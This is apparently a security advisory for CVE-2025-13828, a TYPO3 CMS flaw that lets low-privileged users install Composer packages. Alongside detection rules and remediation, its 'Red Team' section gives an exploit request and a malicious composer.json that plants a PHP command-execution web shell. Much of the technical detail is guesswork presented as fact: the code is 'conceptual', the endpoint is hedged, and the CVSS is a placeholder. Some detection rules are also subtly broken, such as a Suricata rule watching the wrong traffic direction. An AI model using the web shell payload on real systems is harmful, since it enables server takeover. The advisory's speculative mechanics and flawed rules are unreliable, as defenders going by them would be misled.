CVE-2025-13828

Executive Summary

CVE-2025-13828 is a critical authorization bypass vulnerability in TYPO3 CMS, specifically affecting Composer-based installations. The flaw allows a non-privileged user to install and remove arbitrary packages via Composer, even when the "Enable Composer-based update" flag in the update settings is disabled. This effectively bypasses the intended access control mechanism, enabling low-privileged users to escalate privileges by installing malicious code. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the potential for full system compromise. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability directly impacts the software supply chain of TYPO3 installations. By allowing unauthorized package installation, an attacker can inject malicious Composer packages, leading to supply chain compromise. The attacker can introduce backdoors, malware, or other malicious code into the TYPO3 ecosystem, potentially affecting all users of the compromised instance. The lack of a patch increases the risk of widespread exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs a low-privileged account.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full system compromise possible.
• Integrity (I): High (H) - Arbitrary code can be installed.
• Availability (A): High (H) - System availability can be affected.

Threat Level: Critical. The combination of low privileges required and high impact makes this a severe threat.

Deep Dive & Mechanics

The vulnerability resides in the TYPO3 backend update mechanism. In a Composer-based installation, the system checks a flag (enableComposerBasedUpdate) to determine if Composer operations are allowed. However, due to a missing or insufficient authorization check, a non-privileged user can bypass this flag and execute Composer commands (install/remove packages) directly.

The root cause is a missing permission validation in the controller handling Composer operations. The system fails to verify that the user has the necessary administrative rights before allowing package management. This allows any authenticated user, regardless of role, to trigger Composer actions.

The attack flow:

1. Attacker authenticates as a low-privileged user (e.g., editor).
2. Attacker crafts a request to the vulnerable endpoint (e.g., /typo3/module/tools/ExtensionManager?action=installFromComposer).
3. The request bypasses the enableComposerBasedUpdate check due to missing authorization.
4. Attacker installs a malicious Composer package containing arbitrary PHP code.
5. The malicious code executes, granting the attacker elevated privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In ExtensionManagerController.php
public function installFromComposerAction() {
    // Missing authorization check
    $packageName = $this->request->getArgument('package');
    $this->composerManager->install($packageName);
}

Patched Code (Conceptual):

// In ExtensionManagerController.php
public function installFromComposerAction() {
    // Added authorization check
    if (!$this->getBackendUser()->isAdmin()) {
        throw new \TYPO3\CMS\Core\Exception('Access denied');
    }
    // Also check the enableComposerBasedUpdate flag
    if (!$this->settingsService->get('enableComposerBasedUpdate')) {
        throw new \TYPO3\CMS\Core\Exception('Composer updates disabled');
    }
    $packageName = $this->request->getArgument('package');
    $this->composerManager->install($packageName);
}

The patch adds two checks: an admin role verification and a validation of the enableComposerBasedUpdate flag. Without these, any authenticated user can bypass the intended restrictions.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A TYPO3 instance with Composer mode enabled (default for modern installations).
• A low-privileged user account (e.g., editor role).

Exploitation Steps:

1. Log in as the low-privileged user.
2. Identify the vulnerable endpoint. Typically, it is /typo3/module/tools/ExtensionManager?action=installFromComposer.
3. Craft a POST request to install a malicious package:

   POST /typo3/module/tools/ExtensionManager?action=installFromComposer HTTP/1.1
   Host: target-typo3.com
   Cookie: typo3_be_sess=...
   Content-Type: application/x-www-form-urlencoded
   
   package=malicious/package
   

4. The malicious package should contain a post-install script that creates an admin user or executes arbitrary code.
5. Verify privilege escalation by accessing admin-only areas.

Malicious Package Example (composer.json):

{
    "name": "malicious/package",
    "type": "typo3-cms-extension",
    "scripts": {
        "post-install-cmd": [
            "php -r 'file_put_contents(\"/var/www/html/typo3conf/backdoor.php\", \"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");'"
        ]
    }
}

Blue Team

Detection Steps:

1. Monitor for unauthorized Composer operations in logs (typo3temp/var/logs/).
2. Look for unusual package installations via the Extension Manager.
3. Check for unexpected files in typo3conf/ext/ or vendor/ directories.
4. Review user activity logs for low-privileged users accessing admin functions.

Honeypot Setup:

• Create a fake low-privileged user and monitor its activity.
• Set up a custom Composer repository that logs all requests.

Indicators of Compromise (IOCs)

• Network: POST requests to /typo3/module/tools/ExtensionManager?action=installFromComposer from non-admin users.
• File System: Unexpected packages in typo3conf/ext/ or vendor/ directories.
• Logs: Entries in typo3temp/var/logs/ showing Composer operations by non-admin users.
• Process: composer install or composer require commands executed by the web server user.
• User Accounts: New admin accounts created by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_13828_TYPO3_Composer_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-13828 in TYPO3 logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13828"
    strings:
        $s1 = "installFromComposer" nocase
        $s2 = "enableComposerBasedUpdate" nocase
        $s3 = "composer" nocase
        $s4 = "ExtensionManager" nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: TYPO3 CVE-2025-13828 Composer Bypass Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized Composer operations by non-admin users in TYPO3
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: typo3
detection:
    selection:
        EventID: '100'  # TYPO3 log event ID for module access
        Module: 'tools_ExtensionManager'
        Action: 'installFromComposer'
        UserID|not: 'admin'  # Assuming admin user ID is known
    condition: selection
falsepositives:
    - Legitimate admin actions (if UserID filter is not precise)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13828 TYPO3 Composer Bypass Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/typo3/module/tools/ExtensionManager"; http_uri;
    content:"action=installFromComposer"; http_uri;
    pcre:"/package=[a-zA-Z0-9_\/-]+/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Composer-based updates entirely by setting enableComposerBasedUpdate = false in typo3conf/LocalConfiguration.php (note: this may not fully mitigate the vulnerability).
2. Restrict access to the Extension Manager module to admin users only via backend user permissions.
3. Monitor logs for suspicious Composer operations.

Long-term Fix:

• Apply the official patch once released by TYPO3.
• Upgrade to a patched version of TYPO3 when available.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint from non-admin IPs.

Workaround:

• Remove the installFromComposer action from the Extension Manager controller by overriding it in a custom extension (advanced).

Valters IT